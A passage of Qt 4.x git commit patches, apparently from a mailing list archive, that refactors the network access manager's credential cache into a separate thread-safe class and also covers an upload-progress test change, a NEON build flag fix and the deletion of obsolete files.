- diff --git a/mkspecs/features/enable_backup.prf b/mkspecs/features/enable_backup.prf deleted file mode 100644 index 9e81d56..0000000 --- a/mkspecs/features/enable_backup.prf +++ /dev/null @@ -1,15 +0,0 @@ -# Generate deployment for backup registration file -symbian { - isEmpty(BACKUP_REGISTRATION_FILE) { - BACKUP_REGISTRATION_FILE = $$[QT_INSTALL_DATA]/mkspecs/common/symbian/backup_registration.xml - } - - contains(TEMPLATE, app) { - backup_reg_deployment.path = /private/$$replace(TARGET.UID3, 0x,) - } else { - backup_reg_deployment.path = /private/10202D56/import/packages/$$replace(TARGET.UID3, 0x,) - } - - backup_reg_deployment.sources = $$BACKUP_REGISTRATION_FILE - DEPLOYMENT += backup_reg_deployment -} \ No newline at end of file -- cgit v0.12 From 6c39dd04b1fea88e0688ef847e185ebb1013471a Mon Sep 17 00:00:00 2001 From: Markus Goetz Date: Wed, 12 Jan 2011 10:55:25 +0100 Subject: tst_qnetworkreply: Relax a condition With the different buffers in Qt and the OS, we relax a condition for now. --- tests/auto/qnetworkreply/tst_qnetworkreply.cpp | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp index 1d2a69f..fd494c6 100644 --- a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp +++ b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp @@ -3850,19 +3850,13 @@ void tst_QNetworkReply::ioPostToHttpUploadProgress() disconnect(&server, SIGNAL(newConnection()), &QTestEventLoop::instance(), SLOT(exitLoop())); incomingSocket->setReadBufferSize(1*1024); - QTestEventLoop::instance().enterLoop(2); + QTestEventLoop::instance().enterLoop(5); // some progress should have been made QList args = spy.last(); QVERIFY(!args.isEmpty()); QVERIFY(args.at(0).toLongLong() > 0); - - incomingSocket->setReadBufferSize(32*1024); - incomingSocket->read(16*1024); - QTestEventLoop::instance().enterLoop(2); - // some more progress than before - QList args2 = spy.last(); - QVERIFY(!args2.isEmpty()); - QVERIFY(args2.at(0).toLongLong() > args.at(0).toLongLong()); + // but not everything! + QVERIFY(args.at(0).toLongLong() != sourceFile.size()); // set the read buffer to unlimited incomingSocket->setReadBufferSize(0); @@ -3870,8 +3864,10 @@ void tst_QNetworkReply::ioPostToHttpUploadProgress() // progress should be finished QList args3 = spy.last(); QVERIFY(!args3.isEmpty()); - QVERIFY(args3.at(0).toLongLong() > args2.at(0).toLongLong()); + // More progress than before + QVERIFY(args3.at(0).toLongLong() > args.at(0).toLongLong()); QCOMPARE(args3.at(0).toLongLong(), args3.at(1).toLongLong()); + // And actually finished.. QCOMPARE(args3.at(0).toLongLong(), sourceFile.size()); // after sending this, the QNAM should emit finished() -- cgit v0.12 From 7ce32e349da4d9b17495aaf966c59a4233cd6f26 Mon Sep 17 00:00:00 2001 From: Markus Goetz Date: Thu, 27 Jan 2011 14:02:44 +0100 Subject: QNAM: Move authentication cache to separate class Also make the authentication cache thread-safe by using a mutex and making QNetworkAuthenticationCredential a value-class. Reviewed-by: thiago --- src/network/access/access.pri | 2 + .../access/qnetworkaccessauthenticationmanager.cpp | 297 +++++++++++++++++++++ .../access/qnetworkaccessauthenticationmanager_p.h | 107 ++++++++ src/network/access/qnetworkaccessbackend.cpp | 2 +- src/network/access/qnetworkaccessmanager.cpp | 254 +----------------- src/network/access/qnetworkaccessmanager_p.h | 7 +- 6 files changed, 424 insertions(+), 245 deletions(-) create mode 100644 src/network/access/qnetworkaccessauthenticationmanager.cpp create mode 100644 src/network/access/qnetworkaccessauthenticationmanager_p.h diff --git a/src/network/access/access.pri b/src/network/access/access.pri index f8dfda6..7497c1a 100644 --- a/src/network/access/access.pri +++ b/src/network/access/access.pri @@ -8,6 +8,7 @@ HEADERS += \ access/qhttpnetworkreply_p.h \ access/qhttpnetworkconnection_p.h \ access/qhttpnetworkconnectionchannel_p.h \ + access/qnetworkaccessauthenticationmanager_p.h \ access/qnetworkaccessmanager.h \ access/qnetworkaccessmanager_p.h \ access/qnetworkaccesscache_p.h \ @@ -42,6 +43,7 @@ SOURCES += \ access/qhttpnetworkreply.cpp \ access/qhttpnetworkconnection.cpp \ access/qhttpnetworkconnectionchannel.cpp \ + access/qnetworkaccessauthenticationmanager.cpp \ access/qnetworkaccessmanager.cpp \ access/qnetworkaccesscache.cpp \ access/qnetworkaccessbackend.cpp \ diff --git a/src/network/access/qnetworkaccessauthenticationmanager.cpp b/src/network/access/qnetworkaccessauthenticationmanager.cpp new file mode 100644 index 0000000..d2bf00a --- /dev/null +++ b/src/network/access/qnetworkaccessauthenticationmanager.cpp @@ -0,0 +1,297 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qnetworkaccessmanager.h" +#include "qnetworkaccessmanager_p.h" +#include "qnetworkaccessauthenticationmanager_p.h" + +#include "QtCore/qbuffer.h" +#include "QtCore/qurl.h" +#include "QtCore/qvector.h" +#include "QtCore/QMutexLocker" +#include "QtNetwork/qauthenticator.h" + +QT_BEGIN_NAMESPACE + + + + +class QNetworkAuthenticationCache: private QVector, + public QNetworkAccessCache::CacheableObject +{ +public: + QNetworkAuthenticationCache() + { + setExpires(false); + setShareable(true); + reserve(1); + } + + QNetworkAuthenticationCredential *findClosestMatch(const QString &domain) + { + iterator it = qLowerBound(begin(), end(), domain); + if (it == end() && !isEmpty()) + --it; + if (it == end() || !domain.startsWith(it->domain)) + return 0; + return &*it; + } + + void insert(const QString &domain, const QString &user, const QString &password) + { + QNetworkAuthenticationCredential *closestMatch = findClosestMatch(domain); + if (closestMatch && closestMatch->domain == domain) { + // we're overriding the current credentials + closestMatch->user = user; + closestMatch->password = password; + } else { + QNetworkAuthenticationCredential newCredential; + newCredential.domain = domain; + newCredential.user = user; + newCredential.password = password; + + if (closestMatch) + QVector::insert(++closestMatch, newCredential); + else + QVector::insert(end(), newCredential); + } + } + + virtual void dispose() { delete this; } +}; + +#ifndef QT_NO_NETWORKPROXY +static QByteArray proxyAuthenticationKey(const QNetworkProxy &proxy, const QString &realm) +{ + QUrl key; + + switch (proxy.type()) { + case QNetworkProxy::Socks5Proxy: + key.setScheme(QLatin1String("proxy-socks5")); + break; + + case QNetworkProxy::HttpProxy: + case QNetworkProxy::HttpCachingProxy: + key.setScheme(QLatin1String("proxy-http")); + break; + + case QNetworkProxy::FtpCachingProxy: + key.setScheme(QLatin1String("proxy-ftp")); + break; + + case QNetworkProxy::DefaultProxy: + case QNetworkProxy::NoProxy: + // shouldn't happen + return QByteArray(); + + // no default: + // let there be errors if a new proxy type is added in the future + } + + if (key.scheme().isEmpty()) + // proxy type not handled + return QByteArray(); + + key.setUserName(proxy.user()); + key.setHost(proxy.hostName()); + key.setPort(proxy.port()); + key.setFragment(realm); + return "auth:" + key.toEncoded(); +} +#endif + +static inline QByteArray authenticationKey(const QUrl &url, const QString &realm) +{ + QUrl copy = url; + copy.setFragment(realm); + return "auth:" + copy.toEncoded(QUrl::RemovePassword | QUrl::RemovePath | QUrl::RemoveQuery); +} + + +#ifndef QT_NO_NETWORKPROXY +void QNetworkAccessAuthenticationManager::cacheProxyCredentials(const QNetworkProxy &p, + const QAuthenticator *authenticator) +{ + Q_ASSERT(authenticator); + Q_ASSERT(p.type() != QNetworkProxy::DefaultProxy); + Q_ASSERT(p.type() != QNetworkProxy::NoProxy); + + QMutexLocker mutexLocker(&mutex); + + QString realm = authenticator->realm(); + QNetworkProxy proxy = p; + proxy.setUser(authenticator->user()); + // Set two credentials: one with the username and one without + do { + // Set two credentials actually: one with and one without the realm + do { + QByteArray cacheKey = proxyAuthenticationKey(proxy, realm); + if (cacheKey.isEmpty()) + return; // should not happen + + QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache; + auth->insert(QString(), authenticator->user(), authenticator->password()); + authenticationCache.addEntry(cacheKey, auth); // replace the existing one, if there's any + + if (realm.isEmpty()) { + break; + } else { + realm.clear(); + } + } while (true); + + if (proxy.user().isEmpty()) + break; + else + proxy.setUser(QString()); + } while (true); +} + +QNetworkAuthenticationCredential +QNetworkAccessAuthenticationManager::fetchCachedProxyCredentials(const QNetworkProxy &p, + const QAuthenticator *authenticator) +{ + QNetworkProxy proxy = p; + if (proxy.type() == QNetworkProxy::DefaultProxy) { + proxy = QNetworkProxy::applicationProxy(); + } + if (!proxy.password().isEmpty()) + return QNetworkAuthenticationCredential(); // no need to set credentials if it already has them + + QString realm; + if (authenticator) + realm = authenticator->realm(); + + QMutexLocker mutexLocker(&mutex); + QByteArray cacheKey = proxyAuthenticationKey(proxy, realm); + if (cacheKey.isEmpty()) + return QNetworkAuthenticationCredential(); + if (!authenticationCache.hasEntry(cacheKey)) + return QNetworkAuthenticationCredential(); + + QNetworkAuthenticationCache *auth = + static_cast(authenticationCache.requestEntryNow(cacheKey)); + QNetworkAuthenticationCredential cred = *auth->findClosestMatch(QString()); + authenticationCache.releaseEntry(cacheKey); + + // proxy cache credentials always have exactly one item + Q_ASSERT_X(!cred.isNull(), "QNetworkAccessManager", + "Internal inconsistency: found a cache key for a proxy, but it's empty"); + return cred; +} + +#endif + +void QNetworkAccessAuthenticationManager::cacheCredentials(const QUrl &url, + const QAuthenticator *authenticator) +{ + Q_ASSERT(authenticator); + QString domain = QString::fromLatin1("/"); // FIXME: make QAuthenticator return the domain + QString realm = authenticator->realm(); + + QMutexLocker mutexLocker(&mutex); + + // Set two credentials actually: one with and one without the username in the URL + QUrl copy = url; + copy.setUserName(authenticator->user()); + do { + QByteArray cacheKey = authenticationKey(copy, realm); + if (authenticationCache.hasEntry(cacheKey)) { + QNetworkAuthenticationCache *auth = + static_cast(authenticationCache.requestEntryNow(cacheKey)); + auth->insert(domain, authenticator->user(), authenticator->password()); + authenticationCache.releaseEntry(cacheKey); + } else { + QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache; + auth->insert(domain, authenticator->user(), authenticator->password()); + authenticationCache.addEntry(cacheKey, auth); + } + + if (copy.userName().isEmpty()) { + break; + } else { + copy.setUserName(QString()); + } + } while (true); +} + +/*! + Fetch the credential data from the credential cache. + + If auth is 0 (as it is when called from createRequest()), this will try to + look up with an empty realm. That fails in most cases for HTTP (because the + realm is seldom empty for HTTP challenges). In any case, QHttpNetworkConnection + never sends the credentials on the first attempt: it needs to find out what + authentication methods the server supports. + + For FTP, realm is always empty. +*/ +QNetworkAuthenticationCredential +QNetworkAccessAuthenticationManager::fetchCachedCredentials(const QUrl &url, + const QAuthenticator *authentication) +{ + if (!url.password().isEmpty()) + return QNetworkAuthenticationCredential(); // no need to set credentials if it already has them + + QString realm; + if (authentication) + realm = authentication->realm(); + + QByteArray cacheKey = authenticationKey(url, realm); + + QMutexLocker mutexLocker(&mutex); + if (!authenticationCache.hasEntry(cacheKey)) + return QNetworkAuthenticationCredential(); + + QNetworkAuthenticationCache *auth = + static_cast(authenticationCache.requestEntryNow(cacheKey)); + QNetworkAuthenticationCredential cred = *auth->findClosestMatch(url.path()); + authenticationCache.releaseEntry(cacheKey); + return cred; +} + +void QNetworkAccessAuthenticationManager::clearCache() +{ + authenticationCache.clear(); +} + +QT_END_NAMESPACE + diff --git a/src/network/access/qnetworkaccessauthenticationmanager_p.h b/src/network/access/qnetworkaccessauthenticationmanager_p.h new file mode 100644 index 0000000..d2347b1 --- /dev/null +++ b/src/network/access/qnetworkaccessauthenticationmanager_p.h @@ -0,0 +1,107 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QNETWORKACCESSAUTHENTICATIONMANAGER_P_H +#define QNETWORKACCESSAUTHENTICATIONMANAGER_P_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists for the convenience +// of the Network Access API. This header file may change from +// version to version without notice, or even be removed. +// +// We mean it. +// + +#include "qnetworkaccessmanager.h" +#include "qnetworkaccesscache_p.h" +#include "qnetworkaccessbackend_p.h" +#include "QtNetwork/qnetworkproxy.h" +#include "QtCore/QMutex" + +QT_BEGIN_NAMESPACE + +class QAuthenticator; +class QAbstractNetworkCache; +class QNetworkAuthenticationCredential; +class QNetworkCookieJar; + +class QNetworkAuthenticationCredential +{ +public: + QString domain; + QString user; + QString password; + bool isNull() { + return domain.isNull(); + } +}; +Q_DECLARE_TYPEINFO(QNetworkAuthenticationCredential, Q_MOVABLE_TYPE); +inline bool operator<(const QNetworkAuthenticationCredential &t1, const QString &t2) +{ return t1.domain < t2; } + +class QNetworkAccessAuthenticationManager +{ +public: + QNetworkAccessAuthenticationManager() { }; + + void cacheCredentials(const QUrl &url, const QAuthenticator *auth); + QNetworkAuthenticationCredential fetchCachedCredentials(const QUrl &url, + const QAuthenticator *auth = 0); + +#ifndef QT_NO_NETWORKPROXY + void cacheProxyCredentials(const QNetworkProxy &proxy, const QAuthenticator *auth); + QNetworkAuthenticationCredential fetchCachedProxyCredentials(const QNetworkProxy &proxy, + const QAuthenticator *auth = 0); +#endif + + void clearCache(); + +protected: + QNetworkAccessCache authenticationCache; + QMutex mutex; +}; + +QT_END_NAMESPACE + +#endif diff --git a/src/network/access/qnetworkaccessbackend.cpp b/src/network/access/qnetworkaccessbackend.cpp index fd1fa60..53ae29e 100644 --- a/src/network/access/qnetworkaccessbackend.cpp +++ b/src/network/access/qnetworkaccessbackend.cpp @@ -329,7 +329,7 @@ void QNetworkAccessBackend::authenticationRequired(QAuthenticator *authenticator void QNetworkAccessBackend::cacheCredentials(QAuthenticator *authenticator) { - manager->cacheCredentials(this->reply->url, authenticator); + manager->authenticationManager->cacheCredentials(this->reply->url, authenticator); } void QNetworkAccessBackend::metaDataChanged() diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 8f050d4..562141b 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -341,107 +341,6 @@ static void ensureInitialized() QNetworkReply::sslConfiguration(), QNetworkReply::ignoreSslErrors() */ -class QNetworkAuthenticationCredential -{ -public: - QString domain; - QString user; - QString password; -}; -Q_DECLARE_TYPEINFO(QNetworkAuthenticationCredential, Q_MOVABLE_TYPE); -inline bool operator<(const QNetworkAuthenticationCredential &t1, const QString &t2) -{ return t1.domain < t2; } - -class QNetworkAuthenticationCache: private QVector, - public QNetworkAccessCache::CacheableObject -{ -public: - QNetworkAuthenticationCache() - { - setExpires(false); - setShareable(true); - reserve(1); - } - - QNetworkAuthenticationCredential *findClosestMatch(const QString &domain) - { - iterator it = qLowerBound(begin(), end(), domain); - if (it == end() && !isEmpty()) - --it; - if (it == end() || !domain.startsWith(it->domain)) - return 0; - return &*it; - } - - void insert(const QString &domain, const QString &user, const QString &password) - { - QNetworkAuthenticationCredential *closestMatch = findClosestMatch(domain); - if (closestMatch && closestMatch->domain == domain) { - // we're overriding the current credentials - closestMatch->user = user; - closestMatch->password = password; - } else { - QNetworkAuthenticationCredential newCredential; - newCredential.domain = domain; - newCredential.user = user; - newCredential.password = password; - - if (closestMatch) - QVector::insert(++closestMatch, newCredential); - else - QVector::insert(end(), newCredential); - } - } - - virtual void dispose() { delete this; } -}; - -#ifndef QT_NO_NETWORKPROXY -static QByteArray proxyAuthenticationKey(const QNetworkProxy &proxy, const QString &realm) -{ - QUrl key; - - switch (proxy.type()) { - case QNetworkProxy::Socks5Proxy: - key.setScheme(QLatin1String("proxy-socks5")); - break; - - case QNetworkProxy::HttpProxy: - case QNetworkProxy::HttpCachingProxy: - key.setScheme(QLatin1String("proxy-http")); - break; - - case QNetworkProxy::FtpCachingProxy: - key.setScheme(QLatin1String("proxy-ftp")); - break; - - case QNetworkProxy::DefaultProxy: - case QNetworkProxy::NoProxy: - // shouldn't happen - return QByteArray(); - - // no default: - // let there be errors if a new proxy type is added in the future - } - - if (key.scheme().isEmpty()) - // proxy type not handled - return QByteArray(); - - key.setUserName(proxy.user()); - key.setHost(proxy.hostName()); - key.setPort(proxy.port()); - key.setFragment(realm); - return "auth:" + key.toEncoded(); -} -#endif - -static inline QByteArray authenticationKey(const QUrl &url, const QString &realm) -{ - QUrl copy = url; - copy.setFragment(realm); - return "auth:" + copy.toEncoded(QUrl::RemovePassword | QUrl::RemovePath | QUrl::RemoveQuery); -} /*! Constructs a QNetworkAccessManager object that is the center of @@ -1124,10 +1023,10 @@ void QNetworkAccessManagerPrivate::authenticationRequired(QNetworkAccessBackend // also called when last URL is empty, e.g. on first call if (backend->reply->urlForLastAuthentication.isEmpty() || url != backend->reply->urlForLastAuthentication) { - QNetworkAuthenticationCredential *cred = fetchCachedCredentials(url, authenticator); - if (cred) { - authenticator->setUser(cred->user); - authenticator->setPassword(cred->password); + QNetworkAuthenticationCredential cred = authenticationManager->fetchCachedCredentials(url, authenticator); + if (!cred.isNull()) { + authenticator->setUser(cred.user); + authenticator->setPassword(cred.password); backend->reply->urlForLastAuthentication = url; return; } @@ -1140,7 +1039,7 @@ void QNetworkAccessManagerPrivate::authenticationRequired(QNetworkAccessBackend backend->reply->urlForLastAuthentication = url; emit q->authenticationRequired(backend->reply->q_func(), authenticator); - cacheCredentials(url, authenticator); + authenticationManager->cacheCredentials(url, authenticator); } #ifndef QT_NO_NETWORKPROXY @@ -1157,10 +1056,10 @@ void QNetworkAccessManagerPrivate::proxyAuthenticationRequired(QNetworkAccessBac // possible solution: some tracking inside the authenticator // or a new function proxyAuthenticationSucceeded(true|false) if (proxy != backend->reply->lastProxyAuthentication) { - QNetworkAuthenticationCredential *cred = fetchCachedProxyCredentials(proxy); - if (cred) { - authenticator->setUser(cred->user); - authenticator->setPassword(cred->password); + QNetworkAuthenticationCredential cred = authenticationManager->fetchCachedProxyCredentials(proxy); + if (!cred.isNull()) { + authenticator->setUser(cred.user); + authenticator->setPassword(cred.password); return; } } @@ -1172,75 +1071,7 @@ void QNetworkAccessManagerPrivate::proxyAuthenticationRequired(QNetworkAccessBac backend->reply->lastProxyAuthentication = proxy; emit q->proxyAuthenticationRequired(proxy, authenticator); - cacheProxyCredentials(proxy, authenticator); -} - -void QNetworkAccessManagerPrivate::cacheProxyCredentials(const QNetworkProxy &p, - const QAuthenticator *authenticator) -{ - Q_ASSERT(authenticator); - Q_ASSERT(p.type() != QNetworkProxy::DefaultProxy); - Q_ASSERT(p.type() != QNetworkProxy::NoProxy); - - QString realm = authenticator->realm(); - QNetworkProxy proxy = p; - proxy.setUser(authenticator->user()); - // Set two credentials: one with the username and one without - do { - // Set two credentials actually: one with and one without the realm - do { - QByteArray cacheKey = proxyAuthenticationKey(proxy, realm); - if (cacheKey.isEmpty()) - return; // should not happen - - QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache; - auth->insert(QString(), authenticator->user(), authenticator->password()); - objectCache.addEntry(cacheKey, auth); // replace the existing one, if there's any - - if (realm.isEmpty()) { - break; - } else { - realm.clear(); - } - } while (true); - - if (proxy.user().isEmpty()) - break; - else - proxy.setUser(QString()); - } while (true); -} - -QNetworkAuthenticationCredential * -QNetworkAccessManagerPrivate::fetchCachedProxyCredentials(const QNetworkProxy &p, - const QAuthenticator *authenticator) -{ - QNetworkProxy proxy = p; - if (proxy.type() == QNetworkProxy::DefaultProxy) { - proxy = QNetworkProxy::applicationProxy(); - } - if (!proxy.password().isEmpty()) - return 0; // no need to set credentials if it already has them - - QString realm; - if (authenticator) - realm = authenticator->realm(); - - QByteArray cacheKey = proxyAuthenticationKey(proxy, realm); - if (cacheKey.isEmpty()) - return 0; - if (!objectCache.hasEntry(cacheKey)) - return 0; - - QNetworkAuthenticationCache *auth = - static_cast(objectCache.requestEntryNow(cacheKey)); - QNetworkAuthenticationCredential *cred = auth->findClosestMatch(QString()); - objectCache.releaseEntry(cacheKey); - - // proxy cache credentials always have exactly one item - Q_ASSERT_X(cred, "QNetworkAccessManager", - "Internal inconsistency: found a cache key for a proxy, but it's empty"); - return cred; + authenticationManager->cacheProxyCredentials(proxy, authenticator); } QList QNetworkAccessManagerPrivate::queryProxy(const QNetworkProxyQuery &query) @@ -1264,73 +1095,10 @@ QList QNetworkAccessManagerPrivate::queryProxy(const QNetworkProx } #endif -void QNetworkAccessManagerPrivate::cacheCredentials(const QUrl &url, - const QAuthenticator *authenticator) -{ - Q_ASSERT(authenticator); - QString domain = QString::fromLatin1("/"); // FIXME: make QAuthenticator return the domain - QString realm = authenticator->realm(); - - // Set two credentials actually: one with and one without the username in the URL - QUrl copy = url; - copy.setUserName(authenticator->user()); - do { - QByteArray cacheKey = authenticationKey(copy, realm); - if (objectCache.hasEntry(cacheKey)) { - QNetworkAuthenticationCache *auth = - static_cast(objectCache.requestEntryNow(cacheKey)); - auth->insert(domain, authenticator->user(), authenticator->password()); - objectCache.releaseEntry(cacheKey); - } else { - QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache; - auth->insert(domain, authenticator->user(), authenticator->password()); - objectCache.addEntry(cacheKey, auth); - } - - if (copy.userName().isEmpty()) { - break; - } else { - copy.setUserName(QString()); - } - } while (true); -} - -/*! - Fetch the credential data from the credential cache. - - If auth is 0 (as it is when called from createRequest()), this will try to - look up with an empty realm. That fails in most cases for HTTP (because the - realm is seldom empty for HTTP challenges). In any case, QHttpNetworkConnection - never sends the credentials on the first attempt: it needs to find out what - authentication methods the server supports. - - For FTP, realm is always empty. -*/ -QNetworkAuthenticationCredential * -QNetworkAccessManagerPrivate::fetchCachedCredentials(const QUrl &url, - const QAuthenticator *authentication) -{ - if (!url.password().isEmpty()) - return 0; // no need to set credentials if it already has them - - QString realm; - if (authentication) - realm = authentication->realm(); - - QByteArray cacheKey = authenticationKey(url, realm); - if (!objectCache.hasEntry(cacheKey)) - return 0; - - QNetworkAuthenticationCache *auth = - static_cast(objectCache.requestEntryNow(cacheKey)); - QNetworkAuthenticationCredential *cred = auth->findClosestMatch(url.path()); - objectCache.releaseEntry(cacheKey); - return cred; -} - void QNetworkAccessManagerPrivate::clearCache(QNetworkAccessManager *manager) { manager->d_func()->objectCache.clear(); + manager->d_func()->authenticationManager->clearCache(); } QNetworkAccessManagerPrivate::~QNetworkAccessManagerPrivate() diff --git a/src/network/access/qnetworkaccessmanager_p.h b/src/network/access/qnetworkaccessmanager_p.h index cf4d2f3..dba1fd2 100644 --- a/src/network/access/qnetworkaccessmanager_p.h +++ b/src/network/access/qnetworkaccessmanager_p.h @@ -59,6 +59,7 @@ #include "private/qobject_p.h" #include "QtNetwork/qnetworkproxy.h" #include "QtNetwork/qnetworksession.h" +#include "qnetworkaccessauthenticationmanager_p.h" QT_BEGIN_NAMESPACE @@ -81,7 +82,8 @@ public: online(false), initializeSession(true), #endif - cookieJarCreated(false) + cookieJarCreated(false), + authenticationManager(new QNetworkAccessAuthenticationManager) { } ~QNetworkAccessManagerPrivate(); @@ -137,6 +139,9 @@ public: bool cookieJarCreated; + // The cache with authorization data: + QNetworkAccessAuthenticationManager* authenticationManager; + // this cache can be used by individual backends to cache e.g. their TCP connections to a server // and use the connections for multiple requests. QNetworkAccessCache objectCache; -- cgit v0.12 From bc21d7604c78cf05780bb9974911ba81e787b6f9 Mon Sep 17 00:00:00 2001 From: Robin Burchell Date: Fri, 4 Feb 2011 12:39:51 +0100 Subject: Fix builds with compilers without --with-fpu=neon as a default. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The changes introduced in fac68dca46131d63f11c37210834073848f5a93d do not work correctly on compilers without --with-fpu=neon as a default, NEON_SOURCES would be (incorrectly) compiled without -mfpu=neon, resulting in build failure. This also moves -mfpu=neon after CXXFLAGS, as CXXFLAGS may contain -mfpu=vfpv3-d16. Issue noted by Carsten Munk while building Qt for MeeGo ARM with NEON. Merge-request: 1042 Reviewed-by: Samuel Rødal --- src/gui/gui.pro | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/src/gui/gui.pro b/src/gui/gui.pro index fe1a595..076fe0a 100644 --- a/src/gui/gui.pro +++ b/src/gui/gui.pro @@ -65,15 +65,14 @@ symbian { neon:*-g++* { DEFINES += QT_HAVE_NEON HEADERS += $$NEON_HEADERS - SOURCES += $$NEON_SOURCES DRAWHELPER_NEON_ASM_FILES = $$NEON_ASM - neon_compiler.commands = $$QMAKE_CXX -c -mfpu=neon - neon_compiler.commands += $(CXXFLAGS) $(INCPATH) ${QMAKE_FILE_IN} -o ${QMAKE_FILE_OUT} + neon_compiler.commands = $$QMAKE_CXX -c + neon_compiler.commands += $(CXXFLAGS) -mfpu=neon $(INCPATH) ${QMAKE_FILE_IN} -o ${QMAKE_FILE_OUT} neon_compiler.dependency_type = TYPE_C neon_compiler.output = ${QMAKE_VAR_OBJECTS_DIR}${QMAKE_FILE_BASE}$${first(QMAKE_EXT_OBJ)} - neon_compiler.input = DRAWHELPER_NEON_ASM_FILES + neon_compiler.input = DRAWHELPER_NEON_ASM_FILES NEON_SOURCES neon_compiler.variable_out = OBJECTS neon_compiler.name = compiling[neon] ${QMAKE_FILE_IN} silent:neon_compiler.commands = @echo compiling[neon] ${QMAKE_FILE_IN} && $$neon_compiler.commands -- cgit v0.12 From 4985369c26dd6397a8a5b51f6e53b6394efd8bf8 Mon Sep 17 00:00:00 2001 From: Markus Goetz Date: Fri, 4 Feb 2011 14:26:33 +0100 Subject: QNAM: Delete old file Forgot to delete this file. Since 4.8 we use the QNetworkReplyDataImpl instead of a QNetworkAccessDataBackend --- src/network/access/qnetworkaccessdatabackend_p.h | 84 ------------------------ 1 file changed, 84 deletions(-) delete mode 100644 src/network/access/qnetworkaccessdatabackend_p.h diff --git a/src/network/access/qnetworkaccessdatabackend_p.h b/src/network/access/qnetworkaccessdatabackend_p.h deleted file mode 100644 index 18569ec..0000000 --- a/src/network/access/qnetworkaccessdatabackend_p.h +++ /dev/null @@ -1,84 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtNetwork module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QNETWORKACCESSDATABACKEND_P_H -#define QNETWORKACCESSDATABACKEND_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists for the convenience -// of the Network Access API. This header file may change from -// version to version without notice, or even be removed. -// -// We mean it. -// - -#include "qnetworkaccessbackend_p.h" - -QT_BEGIN_NAMESPACE - -class QNetworkAccessDataBackend: public QNetworkAccessBackend -{ -public: - QNetworkAccessDataBackend(); - virtual ~QNetworkAccessDataBackend(); - - virtual void open(); - virtual void closeDownstreamChannel(); - virtual void closeUpstreamChannel(); - virtual bool waitForDownstreamReadyRead(int msecs); - virtual bool waitForUpstreamBytesWritten(int msecs); - - virtual bool processRequestSynchronously(); -}; - -class QNetworkAccessDataBackendFactory: public QNetworkAccessBackendFactory -{ -public: - virtual QNetworkAccessBackend *create(QNetworkAccessManager::Operation op, - const 